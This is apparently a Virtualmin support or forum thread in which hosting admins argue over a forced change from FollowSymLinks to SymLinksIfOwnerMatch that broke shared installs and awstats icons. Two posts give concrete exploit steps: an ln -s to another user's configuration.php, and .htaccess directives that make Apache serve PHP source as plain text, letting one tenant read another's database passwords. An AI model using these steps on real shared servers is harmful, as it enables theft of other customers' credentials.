New feature SymLinksifOwnerMatch

This is a bad thing to do without asking.

I have 3 clients that use a single typo3 install to manage 10 different sites and the typo3 is under /var/www/typo3 which we have edited the default apache template to use FollowSymLinks because www-data would be the owner in this case.

I really suggest not enforcing this because its giving me a headache not to mention my clients frustration right now.

Status: 
Active

Comments

Boy this has pissed off so many clients and their clients with broken sites and lost sales. Seriously fucked up

We made this change for security reasons - without it, the owner of a domain could access files in another domain (like configs containing passwords) via a symlink.

However, we are going to make it optional, if you want to take that risk.

My opinion here: While certainly useful for security reasons, it should definitely not be applied to existing servers without notice or confirmation request.

When you set up a new server, you'll quickly notice that something is wrong, before anyone productively uses it. But killing existing domains by doing such changes without notice is problematic at best...

Applying the fix only to new domains would leave existing domains vulnerable to the malicious symlink attack though.

I agree, that's why I wrote "applying it to existing servers without notice". :)

The admin should be informed that such a drastic config change is about to happen, and get the chance to deny it or review its effects, and exactly know what was changed so they can revert it if things break.

Being vulnerable to a symlink attack is bad. Being broken due to silent incompatible config changes is way worse.

I suppose we could have implemented this as a warning that appears when you login to Virtualmin after an upgrade ... but then admins who update from the command line or some other tool wouldn't have noticed, and would still be vulnerable.

I don't agree with that comment:

"Being vulnerable to a symlink attack is bad. Being broken due to silent incompatible config changes is way worse."

Being vulnerable is always the worst.

By the way, did anybody actually upgrade virtualmin on a live system without reading the changelog and testing it in a sandbox first ;-)

But I agree adding a note to the changelog that this could break "stuff" would have been nice - for system admins that do not test in a sandbox first ...

This change was mentioned in the release notes at : https://www.virtualmin.com/node/24260

Also, if you want to prevent Virtualmin from making this change in future, add the line allow_symlinks=1 to /etc/webmin/virtual-server/config

Just crazy..... make a mailing list for things like this. Not everyone has the time to read every forum that only uses a forum for news.

This snafu cost one of my clients a lot of money.

I have another use case here where the new forced directive would break things.

First, please note here that on the Virtualmin server in question, I have just two users who could create symlinks, all of them 100% trustworthy, otherwise I use it only for myself.

So it's not necessary to always assume the worst case in terms of vulnerability, and it is IMO not wise to force such changes in Apache configuration for existing sites without prior explicit on-screen notice. (Changes list in the forum here doesn't really count towards that.)

On said server, I do some filehosting for friends. One of them has a virtual sub-server with webspace and an FTP account to upload stuff. Two others have FTP accounts on the parent domain, stored in their homes, without own webspace.

The mentioned sub-server webspace of user 1, where a download manager is installed, has directory symlinks to the FTP homes of users 2 and 3, so that people on the Internet can download stuff from users 1, and using the symlinks from users 2 and 3.

The symlinks were owned by the parent server user, the homes of users 2 and 3 by their respective users. As I said, all users are trustworthy, and there was nothing in the homes at all that would have constituted a security threat had it been symlinked without my knowledge.

The newly forced directive would have broken those symlinks!

I know, this is easily fixed, by changing the symlinks' owner. BUT: Had I not known this stuff here in advance, the filehosting for user 2+3 would have stopped working, without me noticing it or having any idea in the first place how and why.

I hope you see that while this security threat in general is surely valid, I completely agree, it does not apply in all cases, and forcing such changes without explicit notice can do more damage than it might prevent.

I strongly suggest you refrain from such actions in the future.

Since quite a few people have complained about the breakage caused by these security "fixes" the next release of Virtualmin will make them optional. I didn't think so many users would be using symlinks or shared installs of PHP apps when I made the fix mandatory :-(

I found another impact on this and it relates to awstats

When you enable awstats it creates 2 symlinks under /public_html

lrwxrwxrwx awstats-icon -> /usr/share/awstats/icon
lrwxrwxrwx awstatsicons -> /usr/share/awstats/icon

drwxr-xr-x 7 root root 4.0K Jul 19 17:37 /usr/share/awstats

And since no site can be in root group awstats is now broken and this is a Virtualmin feature.

I didn't think so many users would be using symlinks

Yeah, including yourself, considering sgrayban's latest discovery. ;P Luckily it's just the icons and not a complete breakage of AWStats. But I guess you got a pretty solid confirmation of the rule "never underestimate unexpected side-effects".

Anyway, how exactly will the change be "optional" in the next release? What exactly do I have to do to prevent any of the "fixes" from being applied? (All my Virtualmins are still at version 3.95 / 3.94 right now.)

I prefer doing those changes manually in the less-than-handful of domains where I need such measures (most of my hosting is used solely by completely trustworthy people).

(A site hosted with) VM 3.96 is still exploitable

Here some instructions how to exploit this

login to badguy's shell via ssh and create a symlink

ln -s /home/goodguy/public_html/configuration.php /home/badguy/public_html/test.php

then add the following to .htaccess:

Options Indexes FollowSymLinks
DirectoryIndex test
AddType test .php
AddHandler test .php

now open browser with badguy.com/test.php and use view sourse to see the contents (of configuration.php)

So I guess, the only way to be really secure here is, despite Vmin's efforts to change directives: Give SSH access only to completely trustworthy users.

That wouldn't help either unfortunately. But I believe it is fixable and I am sure the virtualmin will fix that soon :-)

@locutus

If you trust your users on that server 100% why didn't you activate mod_php (then you would be also able to take full advantage of tools like apc etc)

Well, I trust them, but everyone can make mistakes or get hacked. :) Also I like separation of PHP processes in case some scripts run amuck.

Of course I welcome security improvements, very much so! But please not without notice in a way that can thoroughly break existing sites.

I thought so.

And that is my point, if a domain of your "100% trusted users" could get hacked, your system would be wide open (as my simple example showed). And I wouldn't call those users "100% trusted".

In any case, please don't go back to "FollowSymLinks". There also quite a few other ways to exploit that apparently.

[quote] But please not without notice in a way that can thoroughly break existing sites. [/quote]

No disagreement

But users asked for an option to turn this "security fix", off. Lol.

[quote] I prefer doing those changes manually in the less-than-handful of domains where I need such measures (most of my hosting is used solely by completely trustworthy people). [/quote]

[quote]Rollback that symlink enforcement ASAP.[/quote]

I would also change passwords now, since it is very well possible, that somebody already collected all the config files of all your domains ...

Anyway, I don't want to pollute this topic any further and will be silent :-)

I would also change passwords now, since it is very well possible, that somebody already collected all the config files of all your domains ...

Yeah right... Getting a bit paranoid now? I suppose these vulnerabilities that the directive changes are meant to fix exist a bit longer already than just since yesterday. Or is this a very fresh security leak that must be fixed very quickly before it gets exploited?

Lemme repeat. I'm all for fixing (potential) security holes. But I'd like to do that in a controlled way, and not brute-force change the configs for all my domains (which are very unlikely to be affected by the hole), breaking half of them, without even knowing what's going on.

Also, as you showed yourself, the current fix is not sufficient. I suppose if anyone can write an .htaccess overriding the nice new security feature, it's rather useless. More serious fiddling with the AllowOverride directive in vhosts is probably required.

Instead of brute-forcing these changes, it's probably better to have some kind of "security audit checklist" with proposed changes, that can be applied (an un-applied) to a site, and then test if the site still works. If not, make adjustments or un-apply the change.

Actually, I think this might be a good idea... A security check list feature for .htaccess and vhost config and related stuff. I'd gladly test that out, as long as I have under control what is applied where and if I have a chance to revert changes when I see sites break.

We will be releasing a further fix shortly to prevent use of a .htaccess file to avoid the symlinks permissions hole.

This time it will be optional though - but recommended if you have untrusted users on your system.

And what about awstats issue ? You know all this is going to do is cause more support tickets then its worth so I suggest not to offer awstats anymore. If a user wants it they can manually install it. Maybe you can just make that a install script instead from now on. The same goes for webalizer.

BTW helpmin you have blown all of this out of proportion.... First off your suggestion is that everyone including me is utterly stupid and allows everything without thinking anything through. You are wrong.

No one including people I trust has ssh access to their website. They have sftp and scp only. If they need something that requires them to need ssh I do it for them.

However it sounds like you do allow John Q. Public ssh access and that is stupid since you are the only one that has brought that issue up. It's common practice to not allow ssh access these days.

And the very last point I shall make is this one...... jailed homes... followsymlinks regardless if a link pointed outside the home would never work so yet again no one has even bothered to bring that up at all. So all the hype about a possible issue with followsymlinks is pointless.... if this was such a big issue it would have been exploited constantly for years and hacks don't this. Hackers use things like poorly coded php scripts to upload a shell script and whether or not followsymlinks was set or would make no difference.

You don't need shell access to exploit this vulnerability.

A tiny php, python or ruby script can do exactly the same ...

You still blew everything out of proportion.

Followsymlinks isn't a new apache directive, its been in the core from the beginning. If this was a big issue as everyone wants to make it it would be a highlight of hacking community and it isn't and never was.

And since you want everyone to be paranoid like you we should disallow php completely because many scripts are written and never updated or they are simply to risky so lets disable php completely and only allow html and no cgi.

See I can be just as absurd as you about security.

I will say this though helpmin - you have certainly brought it to every hackers attention for sure now and that's something we didn't need. Sometimes there are just minor risks you have to take and this directive is one of them. Sure its a "possible" risk but its not one that is used often and its hardly ever talked about in any of the whitehat hackers forums I belong to.

The AWstats issue will be handled by replacing the symlink to the icons directory with a copy.

Hi, any news about this? In the last days we got a few hacks with the .htaccess and the symlinks. The update to 3.96 didn´t help. Thanks

Acid, Virtualmin 3.97 is out now containing additional security fixes -- give that a shot and let us know if that resolves the issues you've been seeing.

Try this in an .htaccess:

Options +FollowSymLinks DirectoryIndex ddfdsf.htm Options All Indexes AddType text/plain .php AddHandler server-parsed .php

And then unzip a symlink to /

Please let me know wenn will be a fix for that. Thanks

I tested your exploit (which is similar to the one in post #15 above, but you also added All) on a system with virtualmin 3.97, but I only get a 500 error because option FollowSymLinks is disabled. That's looks good, right? Or maybe I overlooked something?

how can I get virtualmin 3.97? I can´t see it (yum update didn´t find it too) ... I´m using CentOS 6.x and CentOS 5.x, thanks

webmin.com, manual install. Hopefully they release it soon (at least there would be a reason ;-)

Virtualmin 3.97 is in the virtualmin software repositories, and should be available for all distros.

If you aren't seeing it, you may want to open a new request, and we can troubleshoot that issue there.